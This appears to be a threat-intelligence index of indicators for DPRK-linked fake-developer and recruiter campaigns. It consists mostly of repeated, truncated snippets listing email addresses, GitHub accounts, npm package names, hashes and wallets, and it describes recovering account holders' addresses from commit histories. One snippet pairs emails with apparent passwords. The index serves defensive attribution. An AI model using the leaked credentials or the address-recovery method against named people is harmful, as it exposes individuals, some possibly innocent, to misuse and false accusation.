members are mostly fake profiles, and names thirty-six accounts. Reading the organisation itself on this date finds accounts the article did not name. Public members: andymartinak, basitali717, BeautifulMoon211, creative2115, dragon927AAA, dragonsea0927, git25126, guilmola724, hotshinydev, passionatedev724, richdev0724, sergiourrego, shinytrend, stanislavboik; the same member list also shows noahstoner, filed under Shiny Girl, nine accounts the article names, and 0xPEPEeth, coinel7 and purity111, which returned not found moments after the list was read. Discussion 98 on the finalGoal repository, the one the article cites, was opened by basitali717 on 5 September 2024 as \"Let's give stars each other.\" and lists the forks of seventeen accounts for reciprocal starring; among them are EmersonCosta0915, vit718 and lucatosc, and shinyangels, amil3955, robintech514 and danilodavid521, which no longer resolve. basitali717 signs its own commits techietrendsetter@gmail.com, the handle of techietrend, one of the article's accounts, in a mailbox. uneoka0114 and Daniel-Kennison contribute to finalGoal itself, uneoka0114 opening a discussion on 18 October 2024 asking how to remove stored git credentials; guilmac082 is the only contributor to the organisation's jada_backend besides noahstoner. The addresses are the ones each account signs the bulk of its own commits with, and joel.lake.777@gmail.com is the address popstar7, one of the article's accounts, signs 86 of 100 sampled commits with. Nyukl, whose finalGoal commits come from a private Gitea host named shine under a generic address, and gavin-chua, whose only activity there is a help request, are left out.","…mirotalk.io mirotalk.net ftpserver0909.com IP Address 167.88.36.13 Email Addresses adonis_eros@outlook.com brightstar1116@outlook.com buyerlao@outlook.com casey_qadir@outlook.com cescernand@outlook.com devstar1116@gmail.com ebcappservices@gmail.com…","…The following accounts were among those identified as being used in these schemes: Bright.star.me208@gmail.com , Merrttank.bz@gmail.com , randyryang@gmail.com , michaelb860102@gmail.com , assassinki211@gmail.com , dev.jerryyang@gmail.com…","…bridleland@gmail.com brightfuture.albina@gmail.com brightfuture1993113@gmail.com brightmoonone93727@gmail.com brightmoonone961031@gmail.com brilight.shiner@gmail.com brilliantsunlight1109@gmail.com brodan.eryx@minofangle.org bscmul0914@gmail.com bungwu2021@gmail.com byronandresroseromora@gmail.com calvin…","…tfuture.albina@gmail.com brightfuture1993113@gmail.com brightmoonone93727@gmail.com brightmoonone961031@gmail.com brilight.shiner@gmail.com brilliantsunlight1109@gmail.com brodan.eryx@minofangle.org bscmul0914@gmail.com bungwu2021@gmail.com byronandresroseromora@gmail.com calvin168943@gmail.com caoimhe397@gmai…","…yorktownhomesales08111@gmail.com yuleyuccaxoiqw85368@outlook.com bohdanstashkiv.bs@outlook.com brimstoneinkwellwugke88241@outlook.com edisonrippin@outlook.com erbanfceraswud8px@hotmail.com JonathonF1010@outlook.com khardenjenna510727@outlook.com…","…uture1993113@gmail.com brightmoonone93727@gmail.com brightmoonone961031@gmail.com brilight.shiner@gmail.com brilliantsunlight1109@gmail.com brodan.eryx@minofangle.org bscmul0914@gmail.com bungwu2021@gmail.com byronandresroseromora@gmail.com calvin168943@gmail.com caoimhe397@gmail.com cf3bkx9a@crazybody012…","…2026-09-18 and 2026-10-18 later earlier Released Package IOCs 2026-10-09 truffle-kit (3.3.2) 2026-10-09 brooksjulianvdy <brooksjulianvdy185@hotmail.com> 88d00cec2a6488c81d5080323a4ba81d789ec641345f2d177399cbc0527a74b8 e484c1b37c18a3a329f3fb7ea543d587d8117cea347800dca3ae35ecdff13506…","…2025-04-26 16:51:29 181.215.9.29 The domain registration records for versusx.us include the email address brooksliam534@gmail.com , which has also been used to register several Contagious Interview domains discussed in previous research , such as willotalent.us and…","…2026-08-07 postcss-theme-provider (1.0.1) 2026-08-07 brownroger <brownroger1999215@gmail.com> 2026-08-07 tailwindcss-motion-advanced (1.0.1) 2026-08-07 eagleeyehappy <eagleeyehappy@gmail.com>…","…@gmail.com aaron.groenke111391@outlook.com afteryou725@gmail.com aim1005achieve@gmail.com Bluxboy80@gmail.com bremaster0806@gmail.com bruno.jackson.dev@gmail.com caddo.caleb229@gmail.com caddo.smith0229@gmail.com chase.allen.tech@gmail.com cliffahleongtech@gmail.com cloudstrifeinfinite@gmail.com…","…email account used to register both the Binance Iurii Account and the Bittrex Iurii Account was linked by cookie to the email address bryan.cho@toptal.com , 13 indicating that the email accounts were accessed from the same device.…","…Year in Review seed1996017@outlook.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review bryandev0418@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review ruslanlarionov77@gmail.com email malware N/A…","…email insider N/A N/A Threat actor persona email 4 luis.lee.tech@gmail.com email insider N/A N/A Threat actor persona email 4 bryanjsmiranda@gmail.com email insider N/A N/A Threat actor persona email 4 luislee.software@gmail.com email insider N/A N/A Threat actor persona email 4…","…behrad.daniel@outlook.com bellyache@alightmotion.id bob.berg.business@gmail.com briansanders0126@gmail.com bryankoh64@outlook.com bryanlee604@outlook.com butleralvin510@outlook.com carolina32123@hotmail.com carolinefruet727@gmail.com…","…bellyache@alightmotion.id bob.berg.business@gmail.com briansanders0126@gmail.com bryankoh64@outlook.com bryanlee604@outlook.com butleralvin510@outlook.com carolina32123@hotmail.com carolinefruet727@gmail.com chain1107saw@gmail.com…","…byteboxlab 2026-04-15 live registry ashleytaylortech@outlook.com byteutilsbox 2026-04-16 live registry brycemillertech@outlook.com chai-as-adapter 2026-03-26 live registry corvettdan1963@inlook.cloud chai-as-chain-v2 2026-03-25 live registry…","…bookcats1@freyaglam.shop borgdandeco@gmail.com brandonmistycqbcr06016@hotmail.com brightfuturescompany08462@outlook.com bryceprojects78322@hotmail.com btwininvest02417@hotmail.com bzuinvestorsclub82574@hotmail.com charlieaffiliates22177@gmail.com cheaphomeseller55358@gmail.com…","…htmoonone93727@gmail.com brightmoonone961031@gmail.com brilight.shiner@gmail.com brilliantsunlight1109@gmail.com brodan.eryx@minofangle.org bscmul0914@gmail.com bungwu2021@gmail.com byronandresroseromora@gmail.com calvin168943@gmail.com caoimhe397@gmail.com cf3bkx9a@crazybody0123.anonaddy.com cfoste…","…email insider N/A N/A Synthetic persona email 2 smupyknight@outlook.com email insider N/A N/A DPRK developer email 2 btrs.corp@gmail.com email insider N/A N/A DPRK developer email 2 byolate@gmail.com email insider N/A N/A DPRK developer email 2 starneit105@gmail.com…","…borgdandeco@gmail.com brandonmistycqbcr06016@hotmail.com brightfuturescompany08462@outlook.com bryceprojects78322@hotmail.com btwininvest02417@hotmail.com bzuinvestorsclub82574@hotmail.com charlieaffiliates22177@gmail.com cheaphomeseller55358@gmail.com chicagomrreid01317@gmail.com…","…email insider N/A N/A Git mirror developer identity 2 cwertlinks@gmail.com email insider N/A N/A Git mirror developer identity 2 bukoyesamuel9@gmail.com email insider N/A N/A Git mirror developer identity 2 gwanchi@gmail.com email insider N/A N/A Git mirror developer identity 2…","…com brightmoonone961031@gmail.com brilight.shiner@gmail.com brilliantsunlight1109@gmail.com brodan.eryx@minofangle.org bscmul0914@gmail.com bungwu2021@gmail.com byronandresroseromora@gmail.com calvin168943@gmail.com caoimhe397@gmail.com cf3bkx9a@crazybody0123.anonaddy.com cfosterbdev@gmail.com chain…","…maria.sam.recruiter@gmail.com , toptalent0921@gmail.com , and business00747@gmail.com ) appear crafted to mimic recruiter identities.…","…76ed842a27bcfa2d7362702aff5d9ecfc8b4a35d3c0e4899d1312e93d4d42096 2026-09-12 id79-client (1.1.79) 2026-09-12 biz44 <business0507i@gmail.com> api.npoint.io https://api.npoint.io/24c12c4b66a29747764f 0bca5c92870c78656fe1d30d69a05af2486c6c36672b5172c249af4106c096b7…","…2026-07-31 vite-tsconfig-svg (1.1.4) 2026-07-31 decentra-rich <businesswork1365@outlook.com> cloudflare.com fastly.net keyIcon.com akamai.net cloudfront.net gcorelabs.com…","…2026-08-11 node-internal-svg-loader (1.0.1) 2026-08-11 npm-chain-dev1 <businesswork1459@outlook.com> cloudflare.com fastly.net keyIcon.com akamai.net cloudfront.net gcorelabs.com…","…11d06250346971b7919d4f36a8138be957ef6f097a40fff636e25b7f9fbbb5ae 2026-08-11 vite-svg-config (1.1.2) 2026-08-11 victor-dev1 <businesswork1537@outlook.com> cloudflare.com fastly.net keyIcon.com akamai.net cloudfront.net gcorelabs.com…","…bob.berg.business@gmail.com briansanders0126@gmail.com bryankoh64@outlook.com bryanlee604@outlook.com butleralvin510@outlook.com carolina32123@hotmail.com carolinefruet727@gmail.com chain1107saw@gmail.com chaparrocesaryed510727@outlook.com…","…ftpserver0909.com IP Address 167.88.36.13 Email Addresses adonis_eros@outlook.com brightstar1116@outlook.com buyerlao@outlook.com casey_qadir@outlook.com cescernand@outlook.com devstar1116@gmail.com ebcappservices@gmail.com hakajakin@outlook.com…","…email insider N/A N/A DPRK developer email 2 btrs.corp@gmail.com email insider N/A N/A DPRK developer email 2 byolate@gmail.com email insider N/A N/A DPRK developer email 2 starneit105@gmail.com email insider N/A N/A DPRK developer email 2…","…31@gmail.com brilight.shiner@gmail.com brilliantsunlight1109@gmail.com brodan.eryx@minofangle.org bscmul0914@gmail.com bungwu2021@gmail.com byronandresroseromora@gmail.com calvin168943@gmail.com caoimhe397@gmail.com cf3bkx9a@crazybody0123.anonaddy.com cfosterbdev@gmail.com chainerspace@gmail.com chakus.superde…","Read on 20 September 2026 by walking the commit history of every repository on github.com/mastercodercat, which this index already holds under the heading \"Further GitHub accounts named in the open Google Drive thread\". Tallying the author line on every commit recovers the address the holder configured their git client with, which an account never has to state anywhere. smartgeek.taylor@gmail.com authored 94 commits on mastercodercat, commits as \"mastercodercat\"; shinyhenryhan@gmail.com authored 15 commits on mastercodercat, commits as \"mastercodercat\"; shanelewix@gmail.com authored 9 commits on mastercodercat, commits as \"mastercodercat\"; mastercoderoy1007@gmail.com authored 9 commits on mastercodercat, commits as \"mastercodercat\"; bytebloomweb@outlook.com authored 2 commits on mastercodercat, commits as \"mastercodercat\". Each is admitted because it commits under a name the account itself uses, the test that separates the holder's own address from the original author of a repository copied in. No persona is attached, because the accounts these were read from carry none: the reporting grouped them without naming an operator, and recovering an address does not supply the name it declined to give.","…brightfuturescompany08462@outlook.com bryceprojects78322@hotmail.com btwininvest02417@hotmail.com bzuinvestorsclub82574@hotmail.com charlieaffiliates22177@gmail.com cheaphomeseller55358@gmail.com chicagomrreid01317@gmail.com citylivingagent99587@gmail.com…","…david36271@outlook.com rkupriyanof@gmail.com vallierhilaire@gmail.com willsuccess47@gmail.com ahmedali06091@gmail.com c258789456@gmail.com derek00144@gmail.com devin1571@outlook.com star712418@gmail.com jinping0822@outlook.com davisjosephinewnk807@outlook.com…","…91@outlook.com afteryou725@gmail.com aim1005achieve@gmail.com Bluxboy80@gmail.com bremaster0806@gmail.com bruno.jackson.dev@gmail.com caddo.caleb229@gmail.com caddo.smith0229@gmail.com chase.allen.tech@gmail.com cliffahleongtech@gmail.com cloudstrifeinfinite@gmail.com colleen.cl.hillyard@gmai…","…5@gmail.com aim1005achieve@gmail.com Bluxboy80@gmail.com bremaster0806@gmail.com bruno.jackson.dev@gmail.com caddo.caleb229@gmail.com caddo.smith0229@gmail.com chase.allen.tech@gmail.com cliffahleongtech@gmail.com cloudstrifeinfinite@gmail.com colleen.cl.hillyard@gmail.com daren.shamoun28@gmai…","…il.com brilliantsunlight1109@gmail.com brodan.eryx@minofangle.org bscmul0914@gmail.com bungwu2021@gmail.com byronandresroseromora@gmail.com calvin168943@gmail.com caoimhe397@gmail.com cf3bkx9a@crazybody0123.anonaddy.com cfosterbdev@gmail.com chainerspace@gmail.com chakus.superdev@gmail.com chancey.ama…","…have this material stored \"securely\" online). APT38 has been spotted in the wild using email accounts like wangchung01@gmail.com and campbelldavid793@gmail.com to send spear-phishing emails to banks, using employee specific details obtained from LinkedIn by simply sending invitations to create and…","…e384bffa5e90fb424deb80e2d4f1edf3984f7372cd38943eb63812055b807d93 2026-09-18 chai-as-buffered (7.2.5) 2026-09-18 foreigner-th <CampesePursel63@hotmail.com> 9d7f4194e0b02e48a17a6419e3d9c673407de926a5ac8379a7b4645f149b1abc 9d7f4194e0b02e48a17a6419e3d9c673407de926a5ac8379a7b4645f149b1abc…","…t1109@gmail.com brodan.eryx@minofangle.org bscmul0914@gmail.com bungwu2021@gmail.com byronandresroseromora@gmail.com calvin168943@gmail.com caoimhe397@gmail.com cf3bkx9a@crazybody0123.anonaddy.com cfosterbdev@gmail.com chainerspace@gmail.com chakus.superdev@gmail.com chancey.amadi@minofangle.org cha…","…Users: - CapsuleLabs-lgtml - CapsuleLabs-lgtm Email Associated: - CapsuleLabs-lgtml <johnbiril510@gmail.com> - CapsuleLabs-lgtm <capcapsule3@gmail.com> Domains: - vscode-setup.vercel.app File Hashes: 869bce2efa60b60dab1e0fe8c9d94cfbd6476f4393f79564c4de26ec689dc64d ./beavertail ##…","…2026 alexstone@hr.trixauvex.org Email address Attacker-controlled email address May 2026 carissae@hr.mailpulsynk.xyz Email address Attacker-controlled email address May 2026 christopher@hr.trixauvex.org Email…","…chalk-ts-logger 2026-03-24 live registry bilalkilnaz.54@gmail.com cjs-biginteger 2026-03-20 live registry ca.r.lane.es1.2.6@googlemail.com cli-pretty-logger 2026-04-01 graph first seen vichevmafaaxe@hotmail.com color-cli-log 2026-04-10 live registry…","…109 julianantonucci.uw@gmail.com Julian Argentina United States $35/hour, 40 hours/week 1 month Kim Tong U carlos@gmail.com carlos Mexico United States $45/hour, 40 hours/week - Pae Kwang Il dmd515@163.com dmd515@163. com - United States…","…briansanders0126@gmail.com bryankoh64@outlook.com bryanlee604@outlook.com butleralvin510@outlook.com carolina32123@hotmail.com carolinefruet727@gmail.com chain1107saw@gmail.com chaparrocesaryed510727@outlook.com cheekaide1992@gmail.com…","…bryankoh64@outlook.com bryanlee604@outlook.com butleralvin510@outlook.com carolina32123@hotmail.com carolinefruet727@gmail.com chain1107saw@gmail.com chaparrocesaryed510727@outlook.com cheekaide1992@gmail.com ChinneryMarcia5425@hotmail.com…","…toptalent0921@gmail.com business00747@gmail.com eric.c01.recruit@gmail.com hiring.dev.hr@gmail.com carrie.bale.recruit@gmail.com emilyjobs.rec2023@gmail.com mars.recruiting.hiring@gmail.com shauncepla.hrteam@gmail.com grace.chen.recruitment@gmail.com…","…Year in Review jerryjames1997@outlook.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review caryphillips.business727@gmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review soft.business1103@outlook.com email malware…","…IP Address 167.88.36.13 Email Addresses adonis_eros@outlook.com brightstar1116@outlook.com buyerlao@outlook.com casey_qadir@outlook.com cescernand@outlook.com devstar1116@gmail.com ebcappservices@gmail.com hakajakin@outlook.com ideationbrand@gmail.com…","…polymarket-validator-1.0.1.tgz exfil: sha256-validate-rpc.vercel.app 2026-02-19 12:04:38 bn-eslint.js (v8.0.5) amauri_jesus (cashblaze1001@gmail.com) bn-eslint.js-8.0.5.tgz ID for npm-eslint-helper 2026-02-19 12:03:41 npm-eslint-helper (v1.0.1) amauri_jesus (cashblaze1001@gmail.com)…","…cc93ac7310b3a044badfc17f112a763bb24452ca88236892a470fdd362a9af36 2026-09-26 chai-as-fusion (2.3.6) 2026-09-26 cauaeth422 <caua.upworkclient918@gmail.com> 3d3b3cf2760fe5052af6b6e39ad90fc8397b0314e0c9857714d95a91c18777ec 2026-09-25 hardhat-lock (2.21.0) 2026-09-25…","…Year in Review dieterwang@proton.me email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review cesarpassos4808@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review lazar.master.0204@gmail.com email malware N/A…","…Email Addresses adonis_eros@outlook.com brightstar1116@outlook.com buyerlao@outlook.com casey_qadir@outlook.com cescernand@outlook.com devstar1116@gmail.com ebcappservices@gmail.com hakajakin@outlook.com ideationbrand@gmail.com legend_dev@outlook.com…","…github.com/smartdev0725 - linkedin.com/in/anderson-lee-9550381a5 - linkedin.com/in/anderson-lee-0130801a3 - cetbdb23@gmail.com - firly.larly0430@gmail.com - aleson092325@gmail.com - 0x541fb82d870D6287A9553920A72EDeB0e9877d57 - ![](./anderson-lee-1.jpg) ####…","…n.eryx@minofangle.org bscmul0914@gmail.com bungwu2021@gmail.com byronandresroseromora@gmail.com calvin168943@gmail.com caoimhe397@gmail.com cf3bkx9a@crazybody0123.anonaddy.com cfosterbdev@gmail.com chainerspace@gmail.com chakus.superdev@gmail.com chancey.amadi@minofangle.org changchengbom120@proton.me chaojin752@g…","…il.com bungwu2021@gmail.com byronandresroseromora@gmail.com calvin168943@gmail.com caoimhe397@gmail.com cf3bkx9a@crazybody0123.anonaddy.com cfosterbdev@gmail.com chainerspace@gmail.com chakus.superdev@gmail.com chancey.amadi@minofangle.org changchengbom120@proton.me chaojin752@gmail.com chariesdevsta…","…email insider N/A N/A Threat actor persona email 4 kevinhelan2@gmail.com email insider N/A N/A Threat actor persona email 4 cglobalpower923002@gmail.com email insider N/A N/A Threat actor persona email 4 albertchess990919@gmail.com email insider N/A N/A Threat actor persona email 4…","…bryanlee604@outlook.com butleralvin510@outlook.com carolina32123@hotmail.com carolinefruet727@gmail.com chain1107saw@gmail.com chaparrocesaryed510727@outlook.com cheekaide1992@gmail.com ChinneryMarcia5425@hotmail.com christrotman727@outlook.com…","…chainerspace@gmail.com[email protected] fullasher@gmail.com[email protected] cyberos999@gmail.com[email protected] odincui@gmail.com[email protected]…","…qwery123 secretagent1025@gmail.com 1QAZxsw balsinyar@gmail.com 11111111, Xiah audreybass140@gmail.com P@ssw0rd chainerspace@gmail.com qwe123QWE!@# codechef730@gmail.com watercup123 comsuper0030@gmail.com qweQWE123!@# danny.may.9012@gmail.com 123…","….wixsite.com our-dream-technologies.vercel.app intellichain555: ---------------------------------------- Emails: intellichain555@gmail.com chainerspace@gmail.com fullasher@gmail.com cyberos999@gmail.com odincui@gmail.com sunnykan314@gmail.com salbu15154@gmail.com salbuvabybit@hotmail.com mykytadunaie…","…Year in Review cptrhzv09@hotmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review chainsaw1107@gmail.com email malware N/A December 2025 DPRK malware distributor GitLab.com account Year in Review mutsabsaskajgig0f@outlook.com email malware…","…linkedin.com/in/chai-somsri - github.com/ChaiSomsri96 • [Archive](https://archive.ph/eRFnu) - t.me/chaisomsri (ID: 7022528006) - chaisomsri96@gmail.com - georgecapraroiu1205@gmail.com - melonman913@gmail.com - 0xE5a86c150ac44ab8F8B2661c9e8d8b13887360f0 -…","…mora@gmail.com calvin168943@gmail.com caoimhe397@gmail.com cf3bkx9a@crazybody0123.anonaddy.com cfosterbdev@gmail.com chainerspace@gmail.com chakus.superdev@gmail.com chancey.amadi@minofangle.org changchengbom120@proton.me chaojin752@gmail.com chariesdevstar@gmail.com charminglucas123@gmail.com chenkang.d…","…to malicious repository brahmabit.m@gmail.com Commits to malicious repository bulat@parity.io Commits to malicious repository chaley@gmail.com Commits to malicious repository dapanchal2506@gmail.com Commits to malicious repository davidexpert1233@hotmail.com Commits to…","…3@gmail.com caoimhe397@gmail.com cf3bkx9a@crazybody0123.anonaddy.com cfosterbdev@gmail.com chainerspace@gmail.com chakus.superdev@gmail.com chancey.amadi@minofangle.org changchengbom120@proton.me chaojin752@gmail.com chariesdevstar@gmail.com charminglucas123@gmail.com chenkang.dev@gmail.com chibiharukitchub…","…com cf3bkx9a@crazybody0123.anonaddy.com cfosterbdev@gmail.com chainerspace@gmail.com chakus.superdev@gmail.com chancey.amadi@minofangle.org changchengbom120@proton.me chaojin752@gmail.com chariesdevstar@gmail.com charminglucas123@gmail.com chenkang.dev@gmail.com chibiharukitchub21@gmail.com chidotechdev@g…","Read on 20 September 2026 by walking the commit history of every repository on github.com/VeteranSoftDev, github.com/Ideal-Softer, github.com/CleverSofter, github.com/SoftwarePassioner, github.com/nulidev, github.com/eros1006, github.com/GoodWork0903, which this index already holds under the heading \"Saja network portfolio accounts (Nisos)\". Tallying the author line on every commit recovers the address the holder configured their git client with, which an account never has to state anywhere. memsatuba@protonmail.com authored 10 commits on VeteranSoftDev, commits as \"VeteranSoftDev\"; ej1987@protonmail.com authored 10 commits on Ideal-Softer, commits as \"Ideal-Softer\"; star21303fof@hotmail.com authored 6 commits on CleverSofter, commits as \"CleverSofter\"; star21302fof@hotmail.com authored 4 commits on SoftwarePassioner, commits as \"SoftwarePassioner\"; changsheng14311@hotmail.com authored 3 commits on VeteranSoftDev, commits as \"veteransoftdev\"; dedicatedsoftdev@gmail.com authored 2 commits on nulidev, commits as \"nulidev\"; dev.senior14311@gmail.com authored 1 commit on eros1006, commits as \"eros1006\"; solomon21@outlook.com authored 1 commit on GoodWork0903, commits as \"goodwork0903\". Each is admitted because it commits under a name the account itself uses, the test that separates the holder's own address from the original author of a repository copied in. No persona is attached, because the accounts these were read from carry none: the reporting grouped them without naming an operator, and recovering an address does not supply the name it declined to give.","…2026-08-13 tailwind-toolkit (1.3.2) 2026-08-13 chanstealer318 <chanstealer@gmail.com> cloudflare.com fastly.net keyIcon.com akamai.net cloudfront.net gcorelabs.com…","…2026-08-13 bootstrap-custom-ui (5.7.2) 2026-08-13 chanwilliam129 <chanwilliam129@gmail.com> cloudflare.com fastly.net keyIcon.com akamai.net cloudfront.net gcorelabs.com…","…anonaddy.com cfosterbdev@gmail.com chainerspace@gmail.com chakus.superdev@gmail.com chancey.amadi@minofangle.org changchengbom120@proton.me chaojin752@gmail.com chariesdevstar@gmail.com charminglucas123@gmail.com chenkang.dev@gmail.com chibiharukitchub21@gmail.com chidotechdev@gmail.com chris.jenkin…","…butleralvin510@outlook.com carolina32123@hotmail.com carolinefruet727@gmail.com chain1107saw@gmail.com chaparrocesaryed510727@outlook.com cheekaide1992@gmail.com ChinneryMarcia5425@hotmail.com christrotman727@outlook.com cibin87216@exitbit.com…","…dev@gmail.com chainerspace@gmail.com chakus.superdev@gmail.com chancey.amadi@minofangle.org changchengbom120@proton.me chaojin752@gmail.com chariesdevstar@gmail.com charminglucas123@gmail.com chenkang.dev@gmail.com chibiharukitchub21@gmail.com chidotechdev@gmail.com chris.jenkins.j1005@gmail.com chrisch…","…v5.3.2 ( download ) veryanthony00 (veryanthony00@gmail.com) 2026-02-25 22:31:13 loadash-lint v4.17.24 ( download ) charles.cm.morgan (charles.cm.morgan@gmail.com) 2026-02-25 22:26:36 promanage v6.0.21 ( download ) andrew.ddn.walker (andrew.ddn.walker@gmail.com) 2026-02-25 22:21:37 vitetest-lint…","…• [Archive](https://web.archive.org/web/20241001144921/https://github.com/realhardworkingdeveloper) - medium.com/@charles.leonard.com - charles.leonard.com@gmail.com - David Tanaka / Ninja Dev - realhardworkingdeveloper@gmail.com - davidtanaka3 - trello.com/u/davidtanaka3 -…","…bryceprojects78322@hotmail.com btwininvest02417@hotmail.com bzuinvestorsclub82574@hotmail.com charlieaffiliates22177@gmail.com cheaphomeseller55358@gmail.com chicagomrreid01317@gmail.com citylivingagent99587@gmail.com crimson72489@yahoo.com…","…over the past year, including activity that appears to extend back before the account's creation date under the email address charliereo565@gmail.com. While backdated Git commits can occur technically, the timing of the activity, combined with its presence within a broader suspicious…","…om kenjitamm@gmail.com shan.shan.eth1994@gmail.com daniellee.dev1@gmail.com markuslaandream1218917@gmail.com hasibullahnasseri986@gmail.com CharlieWang1218917.dream@proton.me andriisokyrka@gmail.com dreamit.dev1218917@gmail.com stevenbakarich607@gmail.com larryjam.henry.iv@gmail.com FURTHER READING Regarding…","…e@gmail.com chakus.superdev@gmail.com chancey.amadi@minofangle.org changchengbom120@proton.me chaojin752@gmail.com chariesdevstar@gmail.com charminglucas123@gmail.com chenkang.dev@gmail.com chibiharukitchub21@gmail.com chidotechdev@gmail.com chris.jenkins.j1005@gmail.com chrischanosd1011@gmail.com chrispa…","…@gmail.com Bluxboy80@gmail.com bremaster0806@gmail.com bruno.jackson.dev@gmail.com caddo.caleb229@gmail.com caddo.smith0229@gmail.com chase.allen.tech@gmail.com cliffahleongtech@gmail.com cloudstrifeinfinite@gmail.com colleen.cl.hillyard@gmail.com daren.shamoun28@gmail.com dejanteofilovic2@gmai…","…bryceprojects78322@hotmail.com btwininvest02417@hotmail.com bzuinvestorsclub82574@hotmail.com charlieaffiliates22177@gmail.com cheaphomeseller55358@gmail.com chicagomrreid01317@gmail.com citylivingagent99587@gmail.com crimson72489@yahoo.com cygnusonyxxzbek89014@gmail.com…","…email insider N/A N/A DPRK developer email 2 duykhanh.prodev@gmail.com email insider N/A N/A Git mirror developer identity 2 chebiinixon91@gmail.com email insider N/A N/A Git mirror developer identity 2 jeffukus@gmail.com email insider N/A N/A Git mirror developer identity 2…","…carolina32123@hotmail.com carolinefruet727@gmail.com chain1107saw@gmail.com chaparrocesaryed510727@outlook.com cheekaide1992@gmail.com ChinneryMarcia5425@hotmail.com christrotman727@outlook.com cibin87216@exitbit.com ctwajstj8948@hotmail.com…","…(0.5.1) 2026-09-17 yavosib606 <yavosib606@jobscai.com> 2026-09-17 hardhat-devkit (2.3.6) 2026-09-17 matthis0291 <ChelsieMatthis9248@outlook.com> 88d8da1b1148a07973cd1ec96d1f67d4f672b83635ec342783c1df6e38a4ad0c 2026-09-17 chai-testing (1.1.4) 2026-09-17 ihory…","…7e4c6d76f1d845f752e37876a2d3f773996719f33c2d1c282e0a84b04444efeb 2026-10-02 hardhat-devkit (2.0.1) 2026-10-02 matthis0291 <ChelsieMatthis9248@outlook.com> b01c59ae0a76527503799aab109bd701e34f260d192722a8cf12c97a4e6d208c b01c59ae0a76527503799aab109bd701e34f260d192722a8cf12c97a4e6d208c…","…@gmail.com chancey.amadi@minofangle.org changchengbom120@proton.me chaojin752@gmail.com chariesdevstar@gmail.com charminglucas123@gmail.com chenkang.dev@gmail.com chibiharukitchub21@gmail.com chidotechdev@gmail.com chris.jenkins.j1005@gmail.com chrischanosd1011@gmail.com chrispalman317@gmail.com chris…","…TOP-DEVELOPER - twizard410 - webstar1014 - weiyang.jin1202 - ychmdev - zuhalvalmerikh - 4899432@qq.com - babakwethr@gmail.com - Chenyin1g992@gmail.com - elitedev619@gmail.com - jupiter.softdev@gmail.com - larastar721@gmail.com - laravguru@gmail.com - light.oa17@gmail.com -…","…i@minofangle.org changchengbom120@proton.me chaojin752@gmail.com chariesdevstar@gmail.com charminglucas123@gmail.com chenkang.dev@gmail.com chibiharukitchub21@gmail.com chidotechdev@gmail.com chris.jenkins.j1005@gmail.com chrischanosd1011@gmail.com chrispalman317@gmail.com christarvic1225@gmail.com christia…","…btwininvest02417@hotmail.com bzuinvestorsclub82574@hotmail.com charlieaffiliates22177@gmail.com cheaphomeseller55358@gmail.com chicagomrreid01317@gmail.com citylivingagent99587@gmail.com crimson72489@yahoo.com cygnusonyxxzbek89014@gmail.com daniellequaranta3@yahoo.com…","…m120@proton.me chaojin752@gmail.com chariesdevstar@gmail.com charminglucas123@gmail.com chenkang.dev@gmail.com chibiharukitchub21@gmail.com chidotechdev@gmail.com chris.jenkins.j1005@gmail.com chrischanosd1011@gmail.com chrispalman317@gmail.com christarvic1225@gmail.com christiaan93210@gmail.com chris…","…Safe 0xaf8 #### Shiro Masumi - monstar911 - monstar911001@gmail.com - github.com/monstar911 #### Chiko Nakamura Chiko Nakamura - chikonakamura05@gmail.com - chikonakamura613@gmail.com - 0xc75bbfc0cef2b93c1965930632ceeda9f055f83e - 0x557e1758962e6d2e8bea5aa727039843e618256d -…","…monstar911 - monstar911001@gmail.com - github.com/monstar911 #### Chiko Nakamura Chiko Nakamura - chikonakamura05@gmail.com - chikonakamura613@gmail.com - 0xc75bbfc0cef2b93c1965930632ceeda9f055f83e - 0x557e1758962e6d2e8bea5aa727039843e618256d - 0x3edec14a826538044a535ad4ac2e54de54da7698…","…carolinefruet727@gmail.com chain1107saw@gmail.com chaparrocesaryed510727@outlook.com cheekaide1992@gmail.com ChinneryMarcia5425@hotmail.com christrotman727@outlook.com cibin87216@exitbit.com ctwajstj8948@hotmail.com danicaagawin5@gmail.com…","…github.com/zhChameleon - blueraptor1001@gmail.com: 0xlocker, Burndai, Derek Lee, Raptor, Raptor1001, burndai, ethlocker, unlocker - choi.link227@gmail.com: Ryan Choi - bitbaby888@gmail.com - mauro@blueberry.garden (blueChamel) - pwongexcal@gmail.com (0xchamel) - zhaoa4317@gmail.com…","…(Contagious Interview Operators) admin@quickproassess.com awesomium430@gmail.com betosoto2819@gmail.com brooksliam534@gmail.com chris@wegrowup.us daisukeokitsugu@gmail.com denys@gmail.com designedcuratedamy58@gmail.com dzsignzdcuatzdamy@gmail.com eliteengineer0523@gmail.com exce…","…ail.com charminglucas123@gmail.com chenkang.dev@gmail.com chibiharukitchub21@gmail.com chidotechdev@gmail.com chris.jenkins.j1005@gmail.com chrischanosd1011@gmail.com chrispalman317@gmail.com christarvic1225@gmail.com christiaan93210@gmail.com christoper.chan0@gmail.com christopher.sun.moon@gmail.com cigi…","…email insider N/A N/A Synthetic persona email 2 dmitrycebotari@outlook.com email insider N/A N/A Synthetic persona email 2 chrisgergo00@outlook.com email insider N/A N/A Synthetic persona email 2 briangaida12@outlook.com email insider N/A N/A Synthetic persona email 2…","…y.com 5hrwbocw@greentim1086.anonaddy.com 74ywyfpd@greentim1086.anonaddy.com 8qdyihfd@codeninja819.anonaddy.com BlackMustang0430@outlook.com ChrisGraham1215@skiff.com DiamondDazzle@skiff.com FelixMorin1218@skiff.com Rivexavier085@gmail.com SECRETAGENT1025@GMAIL.COM ShinyBaros@outlook.com UpJobTest@skiff.c…","…52@gmail.com chariesdevstar@gmail.com charminglucas123@gmail.com chenkang.dev@gmail.com chibiharukitchub21@gmail.com chidotechdev@gmail.com chris.jenkins.j1005@gmail.com chrischanosd1011@gmail.com chrispalman317@gmail.com christarvic1225@gmail.com christiaan93210@gmail.com christoper.chan0@gmail.com christop…","…ail.com chenkang.dev@gmail.com chibiharukitchub21@gmail.com chidotechdev@gmail.com chris.jenkins.j1005@gmail.com chrischanosd1011@gmail.com 